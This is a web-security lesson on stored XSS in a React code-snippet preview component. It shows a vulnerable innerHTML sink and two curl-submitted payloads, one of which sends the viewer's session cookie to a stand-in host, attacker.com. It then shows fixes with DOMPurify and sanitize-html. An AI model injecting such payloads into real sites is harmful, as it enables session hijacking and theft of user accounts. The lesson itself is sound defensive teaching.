XSS Injections

Welcome back! In this lesson, we will explore the concept of XSS injection, a critical security vulnerability in web applications. Understanding this topic is essential for building secure applications and protecting user data. XSS injection occurs when attackers exploit improperly handled inputs to inject malicious JavaScript code that executes in users' browsers.

This lesson will guide you through the process of identifying, exploiting, and mitigating XSS injection vulnerabilities. Let's dive in! 🚀

XSS injection is a technique used by attackers to exploit vulnerabilities in web applications. When user inputs are not properly validated or sanitized, attackers can inject malicious JavaScript code that executes in other users' browsers. This can lead to unauthorized access, data breaches, and even session hijacking. In our example, we'll examine a code snippet preview component that's vulnerable to XSS attacks. This component is designed to display HTML content, which is commonly used in applications like code sharing platforms, content management systems, or any system that needs to render formatted text or code examples.

Now, let's look at how this vulnerability manifests in a real component.

Our example focuses on a React component that's designed to preview HTML content. This type of component might be used in a code-sharing platform where users can share and preview code snippets:

function Preview({ content }: PreviewProps) {
  const previewRef = useRef<HTMLDivElement>(null);

  useEffect(() => {
    if (previewRef.current) {
      // Directly setting innerHTML without sanitization
      previewRef.current.innerHTML = content;
    }
  }, [content]);

  return <div ref={previewRef}></div>;
}

This component is vulnerable because it directly sets the innerHTML property without any validation. The innerHTML property is a powerful feature that allows rendering HTML content dynamically, but it can also execute any JavaScript code embedded within that HTML. This creates a significant security risk, as we'll see in the next section...

The vulnerability becomes particularly dangerous because the injected code will execute for anyone who views the snippet. This means if an administrator or privileged user views a malicious snippet, their session could be compromised. Here are two examples of how an attacker might exploit this vulnerability:

Example 1 - Simple Alert (Educational Purpose):

curl -X POST http://localhost:3000/api/snippets \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{
    "content": "<img src=\"x\" onerror=\"alert(document.cookie.match(/SessionUser[^;]*/gi))\">",
  }'

This payload creates an image tag that intentionally fails to load (src="x"), triggering the onerror event. When triggered, it shows an alert containing the user's session cookie.

Example 2 - Data Theft (Real Attack Scenario):

curl -X POST http://localhost:3000/api/snippets \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsImlhdCI6MTc0MTA4ODMwN30.OLJKTPuwoZqE5W6ZMrNJPbxwr060UiCNZnJn8bhvKtE" \
  -d '{
    "title": "Helpful Code Example",
    "content": "<div>Loading...</div><img src=\"x\" onerror=\"fetch(\'https://attacker.com/steal?cookie=\'+document.cookie.match(/SessionUser[^;]*/gi))\">",
    "language": "javascript"
  }'

This more sophisticated attack appears harmless with a "Loading..." message, but secretly sends the viewer's session cookie to the attacker's server. If an administrator views this snippet, their privileged session could be hijacked.

Now that we understand the severity of these vulnerabilities, let's look at how we can protect against them using a dual-layer approach with both client-side and server-side sanitization...

DOMPurify is a modern HTML sanitizer specifically designed for client-side protection against XSS attacks. It's particularly effective in browser environments and provides immediate protection for rendered content.

Here's how we implement it in our Preview component:

import DOMPurify from 'dompurify';

function Preview({ content }: PreviewProps) {
  const previewRef = useRef<HTMLDivElement>(null);

  useEffect(() => {
    if (previewRef.current) {
      // DOMPurify will:
      // 1. Remove dangerous tags (<script>, etc.)
      // 2. Remove dangerous attributes (onerror, onload, etc.)
      // 3. Remove JavaScript URLs (javascript:alert())
      // 4. Validate nested HTML to prevent escaping
      const sanitizedContent = DOMPurify.sanitize(content);
      previewRef.current.innerHTML = sanitizedContent;
    }
  }, [content]);

  return <div ref={previewRef}></div>;
}

For example, if an attacker tries to inject:

<div>Hello</div><img src="x" onerror="alert('hacked')">

DOMPurify will transform it to:

<div>Hello</div><img src="x">

Let's look at Server-Side Protection using sanitize-html next!

sanitize-html is a powerful HTML sanitization library specifically designed for Node.js environments. It provides fine-grained control over which HTML elements, attributes, and CSS properties are allowed in your content.

Unlike DOMPurify, which is browser-focused, sanitize-html is built for server-side operations and offers extensive configuration options to match your application's specific needs. Let's see how we can implement this robust server-side protection...

import sanitizeHtml from 'sanitize-html';

router.post('/', async (req, res) => {
  try {
    const { content } = req.body;
    
    // Basic validation
    if (!content || typeof content !== 'string') {
      return res.status(400).json({ error: "Invalid content format" });
    }
    
    if (content.length > 5000) {
      return res.status(400).json({ error: "Content exceeds maximum length" });
    }
    
    // Server-side sanitization before storage
    const sanitizedContent = sanitizeHtml(content, {
      allowedTags: [ 'b', 'i', 'em', 'strong', 'a', 'p', 'div' ],
      allowedAttributes: {
        'a': [ 'href' ]
      },
      allowedSchemes: [ 'http', 'https', 'ftp', 'mailto' ]
    });

    const snippet = await Snippet.create({
      content: sanitizedContent,
      // ... other fields
    });
    res.json(snippet);
  } catch (error) {
    res.status(500).json({ error: "Failed to save snippet" });
  }
});

In this implementation, sanitize-html is configured to only allow specific HTML tags (b, i, em, strong, a, p, div) and attributes (only href for anchor tags). The allowedSchemes option ensures that links can only use safe protocols like http and https. Any HTML elements, attributes, or URL schemes not explicitly allowed will be stripped from the content before it's saved to the database.

This strict whitelist approach ensures that potentially dangerous content never makes it into your application's storage.

In this lesson, we explored XSS injection vulnerabilities using a real-world example of a code snippet preview component. We learned how attackers can exploit unsanitized inputs and how to implement a robust dual-layer defense using both client-side (DOMPurify) and server-side (sanitize-html) sanitization. This approach provides comprehensive protection against XSS attacks while still allowing legitimate HTML content.

As you move forward, practice these techniques in the exercises that follow to reinforce your understanding. Stay tuned for the next lesson, where we'll continue to build on these foundational security concepts. Keep up the great work! 🎉